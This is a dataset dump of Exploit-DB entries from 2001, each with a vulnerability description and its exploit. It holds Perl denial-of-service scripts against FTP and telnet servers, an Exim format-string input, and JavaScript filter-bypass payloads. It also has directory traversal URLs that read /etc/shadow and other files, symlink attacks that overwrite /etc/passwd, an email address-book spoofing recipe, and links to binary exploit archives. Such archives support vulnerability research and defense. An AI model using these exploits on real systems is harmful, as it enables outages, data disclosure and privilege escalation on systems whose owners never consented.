QLWD/code_shield huggingface dataset:
标题: TransSoft Broker FTP Server 3.0/4.0/4.7/5.x - CWD Buffer Overflow EDB-ID: 20910 CVE: 2001-0688 类型: REMOTE 平台: WINDOWS 发布日期: 2001-06-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/2851/info

Broker is a Windows FTP server from TransSoft.

Versions of Broker are vulnerable to a denial of service.

A CD or CWD command, argumented by an invalid '. .' (dot-space-dot) sequence can, if repeatedly issued, create a buffer overflow causing the server to halt, requiring a restart.

The extent of this issue's exploitability is currently unverified. 

#!/usr/bin/perl 

# Broker FTP Server 5.9.5.0 DoS proof of concept
#
# Syntax : perl brokerdos.pl <host> <port> <loginid> <loginpwd>
# Impact : eventually causes an access violation in the TSFTPSRV process
#          the buffer overflow might be exploitable and be used to gain access
#          to the FTP Server hostcomputer.
#
# by [ByteRage] <byterage@yahoo.com>
# www.byterage.cjb.net (http://elf.box.sk/byterage/)

use IO::Socket;

$loginid = "anonymous";
$loginpwd = "anonymous";

if (!($host = $ARGV[0])) { $host = "127.0.0.1"; } print "Logging on @ $host:"; 
if (!($port = $ARGV[1])) { $port = "21"; } print "$port\n\n"; 
if (!($loginid = $ARGV[2])) { $loginid = "anonymous"; } 
if (!($loginpwd = $ARGV[3])) { $loginpwd = "anonymous"; } 

$SOCK = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "Couldn't create socket !"; $SOCK->autoflush();

# get daemon banner
$reply = "";
sysread($SOCK, $reply, 2000);
print $reply;
# login
syswrite $SOCK, "USER $loginid\015\012";
sysread($SOCK, $reply, 2000);
print $reply;
syswrite $SOCK, "PASS $loginpwd\015\012";
sysread($SOCK, $reply, 2000);
print $reply;
sysread($SOCK, $reply, 2000);
print "$reply\nSending crash [";

if (substr($reply,0,1) == '2') {
  # Login succesful, send CWD's
  $i = 1; while ($i) {
    $i = syswrite $SOCK, "CWD .                                                                             .\015\012";
    print ".";
    sleep(1);
  }
print "]\nSocket write failed... possible cause : Host down :(\n";
}
close($SOCK);
exit(); URL: https://www.exploit-db.com/exploits/20910
标题: Apache 1.3.14 - Mac File Protection Bypass EDB-ID: 20911 CVE: 2001-0766 类型: REMOTE 平台: OSX 发布日期: 2001-06-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/2852/info

A vulnerability exists when Apache webserver is used with Mac OS X Client.

The standard filesystem for Mac OS X is HFS+. HFS+ is case insensitive while Apache's filtering is case sensitive. The result is that Apache will filter all file requests that match filters exactly (including case), but it will not filter requests made with mixed or upper case characters. Since HFS+ is case insensitive, these requests will result in the "filtered" files being disclosed.

The impact is that arbitrary privileged files may be disclosed to unprivileged remote users. 

The following request will result in a 403 Forbidden as excpected:

GET /test/index.html

But the following request will happily serve the file:

GET /TeSt/index.html URL: https://www.exploit-db.com/exploits/20911
标题: Pragma Systems InterAccess TelnetD Server 4.0 - Denial of Service EDB-ID: 20904 CVE: 2001-1263 类型: DOS 平台: WINDOWS 发布日期: 2001-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/2834/info

Pragma InterAccess for Microsoft 95/98 is a fully-featured commercial Telnet server.

Pragma InterAccess does not adequately compensate for large bursts of data being sent to port 23(telnet). If an excessive amount of characters(15000+) are sent to this port then the program will terminate and telnet services will shut down on that host. The daemon must be restarted to regain functionality.

This may be due to a buffer overflow condition. If this is the case, it may be possible for attackers to execute arbitrary code on the target host. 

#!/usr/bin/perl
#
# PI.PL - Crashes Pragma Interaccess 4.0 Server
# Written by nemesystm of the DHC
# http://dhcorp.cjb.net - neme-dhc@hushmail.com
#
####
use Socket;

die "$0 - Crashes Pragma Interaccess 4.0 Server.
written by nemesystm of the DHC
http://dhcorp.cjb.net - neme-dhc\@hushmail.com
usage: perl $0 target.com\n" if !defined $ARGV[0];

$serverIP = inet_aton($ARGV[0]);
$serverAddr = sockaddr_in(23, $serverIP);
socket(CLIENT, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect (CLIENT, $serverAddr)) {
        for ($count = 0; $count <= 15000; $count++) {
                send (CLIENT, "A",0);
        }
        close (CLIENT);
} else { die "Can't connect.\n"; }
print "Done.\n"; URL: https://www.exploit-db.com/exploits/20904
标题: Microsoft Outlook 97/98/2000/4/5 - Address Book Spoofing EDB-ID: 20899 CVE: 2001-1088 类型: REMOTE 平台: WINDOWS 发布日期: 2001-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/2823/info

Outlook Express is the standard e-mail client that is shipped with Microsoft Windows 9x/ME/NT.

The address book in Outlook Express is normally configured to make entries for all addresses that are replied to by the user of the mail client. An attacker may construct a message header that tricks Address Book into making an entry for an untrusted user under the guise of a trusted one. This is done by sending a message with a misleading "From:" field. When the message is replied to then Address Book will make an entry which actually replies to the attacker. 

Situation: 2 good users Target1 and Target2 with addresses target1@example.com and
target2@example.com and one bad user Attacker, attacker@example.com. Imagine Attacker wants to get
messages Target1 sends to Target2. Scenario:

1. Attacker composes message with headers:

From: "target2@example.com" <attacker@example.com>
Reply-To: "target2@example.com" <attacker@example.com>
To: Target1 <target1@example.com>
Subject: how to catch you on Friday?

and sends it to target1@example.com

2. Target1 receives mail, which looks absolutely like mail received from
target2@example.com and replies it. Reply will be received by Attacker. In this case
new entry is created in address book pointing NAME "target2@example.com" to
ADDRESS attacker@example.com.

3. Now, if while composing new message Target1 directly types e-mail
address target2@example.com instead of Target2, Outlook will compose address as
"target2@example.com" <attacker@example.com> and message will be received by Attacker. URL: https://www.exploit-db.com/exploits/20899
标题: Microsoft Windows Server 2000 - Telnet 'Username' Denial of Service EDB-ID: 20907 CVE: 2001-0348 类型: DOS 平台: WINDOWS 发布日期: 2001-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/2838/info

Due to a flaw in the implementation of the telnet service, it is possible for a remote client to perform a denial of service attack against a host.

If approximately 4300 characters already exist in the input buffer and additional numerous specially chosen characters are provided, the service will stop responding. 

#!/bin/bash
  ( sleep 1
    perl -e '{printf "%s\x7f%s","A"x4500,"A"x100}'
    sleep 3
  ) | telnet victimbox
  - eof - URL: https://www.exploit-db.com/exploits/20907
标题: Exim 3.x - Format String EDB-ID: 20900 CVE: 2001-0690 类型: LOCAL 平台: LINUX 发布日期: 2001-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/2828/info

Exim is a free, open-source Mail Transfer Agent for Unix systems.

Exim is vulnerable to a locally exploitable format string attack which may compromise root access. The vulnerability exists only when the 'syntax checking' mode is turned on, which it is not by default.

The vulnerability has to do with handling of the hostname string in an email address argumenting the 'From:' field. If the syntax checking is enabled, then this vulnerability can be exploited to execute arbitrary code with root priviliges. 

Try this:
===8<======8<=======8<======
lez:~$ /usr/sbin/exim -bS
mail from:lez@lez
rcpt to:hax0r@lez
data
From:@@%p%p%p%p%p%p%p%p%p%p

.
===8<======8<=======8<=======

Somewhere in the answers you should see:
550 Syntax error in 'From' header: domain missing or malformed: failing address is:
@@0x80beba00x804d2690x80be6600x80be6680x80bd050(nil)(nil)(nil)(nil)0x80b9d40 URL: https://www.exploit-db.com/exploits/20900
标题: OReilly Software WebBoard 4.10.30 - Pager Hostile JavaScript EDB-ID: 20896 CVE: 2001-0743 类型: REMOTE 平台: WINDOWS 发布日期: 2001-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/2814/info

O'Reilly WebBoard is a conferencing utility, forum, threaded discussion and real-time chat server.

Versions of WebBoard are vulnerable to a JavaScript code execution bug which may allow a remote denial of service against a target WebBoard user's system.

An attacker can compose a message in WebBoard's interactive messaging (paging) function, containing certain escape characters and JavaScript commands, and send the page to a target user. Upon receiving the message, the target client will improperly execute the JavaScript embedded in the page, which could result in the appearance of multiple message windows.

WebBoard is no longer supported by O'Reilly, it is currently maintained by ChatSpace, Inc. 

An example of malicious javascript:

\');for(i=0;i<100000;i++) alert("not nice"); / URL: https://www.exploit-db.com/exploits/20896
标题: Aladdin Knowledge Systems eSafe Gateway 3.0 - HTML tag Script-filtering Bypass EDB-ID: 20890 CVE: 2001-0519 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/2800/info

eSafe Gateway is a security utility used for filtering internet content.

It is possible to craft an html file that slips through eSafe Gateway's script filtering feature. eSafe Gateway will ignore scripting commands that are embedded in any html tags that allow it. This causes eSafe Gateway to generate filtered html that still includes potentially dangerous scripting functions. 

For example, the following potentially harmful script will go
undetected by eSafe, even if the "remove all scripts" option is enabled:


<A HREF="javascript:var fso = new
ActiveXObject('Scripting.FileSystemObject');var a =
fso.CreateTextFile('c:\\testfile2.txt', true);a.WriteLine('This is a
test.');a.Close();">Click here</A>

HREF is not the only tag ignored. Any tag capable of containing scripting
command will not be filtered by eSafe. For example:

<BODY onload="alert('hi');"> URL: https://www.exploit-db.com/exploits/20890
标题: GNU Privacy Guard 1.0.x - Format String EDB-ID: 20889 CVE: 2001-0522 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/2797/info

GnuPG is a popular open source public/private key encryption system.

It is possible for attackers to create an encrypted document that will exploit a format string vulnerability in the GnuPG client when the document is decrypted.

This vulnerability may lead to remote attackers gaining access to client hosts.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20889.tar.gz URL: https://www.exploit-db.com/exploits/20889
标题: Olicom XLT-F XL 80 IM V5.5BL2 - Undocumented Community String EDB-ID: 20892 CVE: 2001-0380 类型: REMOTE 平台: HARDWARE 发布日期: 2001-03-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/2802/info

Olicom routers were previously manufactured and distributed by Olicom, a company now owned by Intel. Olicom routers provide a low-cost routing solution for small businesses.

A problem with Olicom routers could allow unauthorized access to certain configuration variables within the device. The ILMI SNMP Community string allows read and write access to certain configuration parameters such as the organization to which the routers belongs. These parameters do not affect normal operation, but could be used further in a social engineering attack.

This problem makes it possible for a remote user to launch a social engineering attack, potentially gaining unauthorized access to the device. 

snmpwalk router ILMI |more URL: https://www.exploit-db.com/exploits/20892
标题: Trend Micro Interscan VirusWall for Windows NT 3.4/3.5/3.51 - Remote Reconfiguration EDB-ID: 20893 CVE: 2001-0791 类型: REMOTE 平台: WINDOWS 发布日期: 2001-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/2808/info

Interscan Viruswall is a Virus scanning software package distributed and maintained by Trend Micro. It is designed to scan for virus occurances in both incoming and outgoing traffic via SMTP, FTP, and HTTP at the gateway of the network.

The management interface used with the Interscan Viruswall uses several programs in a cgi directory that may allow a remote attacker to make configuration changes using maliciously-constructed querystrings submitted to the host. 

Examples:

http://target/interscan/cgi-bin/FtpSave.dll?no
http://target/interscan/cgi-bin/FtpSave.dll?yes
http://target/interscan/cgi-bin/FtpSave.dll?I'm%20here URL: https://www.exploit-db.com/exploits/20893
标题: Cosmicperl Directory Pro 2.0 - Arbitrary File Disclosure EDB-ID: 20887 CVE: 2001-0780 类型: REMOTE 平台: CGI 发布日期: 2001-05-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/2793/info

Webdirectory Pro is a web application used to create a searchable directory of links developed by Cosmicperl.

Webdirectory Pro contains an input validation vulnerability which may lead to disclosure of sensitive information to attackers. The value of the 'show' variable is not properly validated and can be used to force 'directorypro.cgi' to output the contents of an arbitrary webserver-readable file to a remote attacker.

This is due to a lack of checks for NULL bytes in user-supplied data. 

Submit a request such as this to a vulnerable webserver:

http://target/cgi-bin/directorypro.cgi?want=showcat&show=../../../..//etc/motd%00

This will result in the contents of '/etc/motd' being output. URL: https://www.exploit-db.com/exploits/20887
标题: Aladdin Knowledge Systems eSafe Gateway 3.0 - Unicode Script-filtering Bypass EDB-ID: 20891 CVE: 2001-0521 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/2801/info

eSafe Gateway is a security utility used for filtering internet content.

An html file may be crafted to bypass the script-filtering feature offered by eSafe Gateway. This is done by simply encoding the <SCRIPT> tag in Unicode format, such that the filter ignores the call to execute the script. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20891.zip URL: https://www.exploit-db.com/exploits/20891
标题: Acme.Serve 1.7 - Arbitrary File Access EDB-ID: 20894 CVE: 2001-0748 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/2809/info

Acme.Serve is a free, open-source, embeddable webserver written in Java. It is small, is intended to provide minimal functionality, and is fully compatible with JavaServer.

Acme.Serve 1.7 comes with a webserver that listens on port 9090. This webserver allows clients to browse the filesystem. By default, this webserver is enabled and accessible by any remote host on the Internet.

If an attacker were to connect, they could view possibly sensitive information.


http://potentialvictim:9090//etc/shadow to view '/etc/shadow'. URL: https://www.exploit-db.com/exploits/20894
标题: Omnicron OmniHTTPd 2.0.4-8 - File Source Disclosure EDB-ID: 20886 CVE: 2001-0778 类型: REMOTE 平台: WINDOWS 发布日期: 2001-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/2788/info

Submitting a specially crafted GET request for a known file (.php, .pl, or .shtml), could cause OmniHTTPD to disclose the source code of the requested resource. The GET requested would have to be appended with the Unicode equivalent of a space.

Example:

GET /filename.php%20 URL: https://www.exploit-db.com/exploits/20886
标题: faust Informatics FreeStyle chat 4.1 sr2 - Directory Traversal EDB-ID: 20882 CVE: 2001-0615 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-05-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/2776/info

Freestyle Chat server from Faust Informatics incorporates interactive chat functionality into websites.

Versions of Freestyle Chat are vulnerable to directory traversal attacks. This can allow a remote user to request files from outside the normal webserver directory scope.

Properly exploited, this could provide information useful in further attacks on the vulnerable host. 

http://www.example.com/.../.../scandisk.log URL: https://www.exploit-db.com/exploits/20882
标题: Faust Informatics FreeStyle Chat 4.1 SR2 MS-DOS Device Name - Denial of Service EDB-ID: 20883 CVE: 2001-0616 类型: DOS 平台: WINDOWS 发布日期: 2001-05-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/2777/info

A problem with the chat server makes it possible to deny service to legitmate users.

By submitting a request to the webserver including the 'AUX' MS-DOS device name, the webserver can be made to cease functioning.

The process has to be manually restarted to resume normal operation. 

http://www.server.com/aux URL: https://www.exploit-db.com/exploits/20883
标题: WebTrends Enterprise Reporting Server 3.1 c/3.5 - Source Code Disclosure EDB-ID: 20895 CVE: 2001-0693 类型: REMOTE 平台: CGI 发布日期: 2001-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/2812/info

WebTrends Live is a web-based reporting service which provides interactive tracking of usage statistics and E-commerce revenue.

It is possible to view the source code of arbitrary scripts on the WebTrends Live webserver. This is accomplished by crafting a URL with an encoded space after the filename of the script. 

http://host/remote_login.pl%20 URL: https://www.exploit-db.com/exploits/20895
标题: ACLogic CesarFTP 0.98b - Directory Traversal EDB-ID: 20884 CVE: 2001-1335 类型: REMOTE 平台: WINDOWS 发布日期: 2001-05-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/2786/info

CesarFTP is a freely available FTP Server for Microsoft Windows 9x/ME systems.

CesarFTP on Windows 98/Me platforms contains a 'directory traversal' vulnerability.

If a user requests to change directories to "..." from within a mapped directory, they will change into the directory above the 'real' directory on the filesystem. At this point they can traverse the filesystem and will have read access to almost every file.

A user must already have an account on the server to take advantage of this vulnerability.

Note: This vulnerability only affects Windows 98/Me systems running CesarFTP. 

First, we need a directory where we have access to on
the victim host...
(Or we can create one if we have enough rights)

ftp://127.0.0.1/

might give us a directory RESTRICTED/ for example
now we do :

ftp://127.0.0.1/RESTRICTED/...%5c/

and we're out of the restricted subdirectory, we have
read access to the whole harddrive URL: https://www.exploit-db.com/exploits/20884
标题: mimanet source viewer 2.0 - Directory Traversal EDB-ID: 20878 CVE: 2001-0630 类型: REMOTE 平台: CGI 发布日期: 2001-05-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/2762/info

MIMAnet Source Viewer is a freely available CGI script which allows users to view the source code of files located elsewhere on the server.

Source Viewer accepts an argument, 'loc', which it uses as the filename when opening the requested file. Unfortunately it does not filter '..' and '/' characters, which can be misinterpreted by the script and cause files outside of the intended directory to be opened. As a result, it may be possible for attackers to view the contents of arbitrary webserver-readable files on the filesystem.

The following URL demonstrates the problem:

http://localhost/cgi-bin/viewsrc.cgi?
loc=../[any file outside restricted directory] URL: https://www.exploit-db.com/exploits/20878
标题: Beck IPC GmbH IPC@CHIP - TelnetD Login Account Brute Force EDB-ID: 20881 CVE: 2001-1339 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/2771/info


The IPC@Chip is a single-chip embedded webserver from Beck GmbH.

The device's inbuilt telnetd service may allow a remote user to repeatedly attempt to login to a given account, without logging or responding to repeated failed login attempts. This could permit an attacker to brute-force a known account name, potentially leading to a compromise of the device's accounts and/or allowing a compromise of its function. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20881.zip URL: https://www.exploit-db.com/exploits/20881
标题: ARCservIT 6.61/6.63 Client - asagent.tmp Arbitrary File Overwrite EDB-ID: 20867 CVE: 2001-1346 类型: LOCAL 平台: LINUX 发布日期: 2001-05-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/2741/info

ARCservIT from Computer Associates contains a vulnerability which may allow malicious local users to overwrite arbitrary files.

When it runs for the first time, 'asagent', opens (and truncates it if it exists) a file in /tmp called 'asagent.tmp'. 'asagent' does not check to make sure that this file already exists or that is a symbolic link to another file.

This may allow malicious local users to overwrite critical system files. 

As user:

je@boxname~> ln -s /etc/passwd /tmp/asagent.tmp

And root:

root@boxname# /usr/CYEagent/asagent start
CA Universal Agent ADV v1.39 started on openview SunOS 5.8
Generic_108528-07 sun4u

ARCserveIT Universal Agent started...

Then,

je@boxname~> ls -la /etc/passwd
-r--r--r-- 1 0 sys 0 May 9 11:59 /etc/passwd URL: https://www.exploit-db.com/exploits/20867
标题: OpenServer 5.0.5/5.0.6 / HP-UX 10/11 / Solaris 2.6/7.0/8 - rpc.yppasswdd Buffer Overrun EDB-ID: 20879 CVE: 2001-0779 类型: REMOTE 平台: UNIX 发布日期: 2001-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/2763/info

The rpc.yppasswdd server is used to handle password change requests from yppasswd and modify the NIS password file.

A buffer overrun vulnerability has been discovered in the rpc.yppasswdd utility distributed by multiple vendors. The problem occurs due to insufficient bounds checking before copying remotely-supplied user information into a static memory buffer. As a result, a malicious user may be capable of exploiting this issue to overwrite sensitive locations in memory and thus execute arbitrary code with superuser privileges. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20879.tar.gz URL: https://www.exploit-db.com/exploits/20879
标题: ARCservIT 6.61/6.63 Client - inetd.tmp Arbitrary File Overwrite EDB-ID: 20868 CVE: 2001-1346 类型: LOCAL 平台: LINUX 发布日期: 2001-05-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/2748/info

ARCservIT from Computer Associates contains a vulnerability which may allow malicious local users to corrupt arbitrary files.

When it runs with the parameters 'inet add', 'asagent', opens (and overwrites it if it exists) a file in /tmp called 'inetd.tmp'. 'asagent' does not check to make sure that this file already exists or that is a symbolic link to another file.

This may allow malicious local users to corrupt critical system files. 

je@boxname~> ln -s /etc/passwd /tmp/inetd.tmp

And root:

root@boxname# /usr/CYEagent/asagent inet add

Then,

je@boxname~> cat /etc/passwd
asagentd 6051/tcp # ARCserve agent
asagentd 6051/udp # ARCserve agent URL: https://www.exploit-db.com/exploits/20868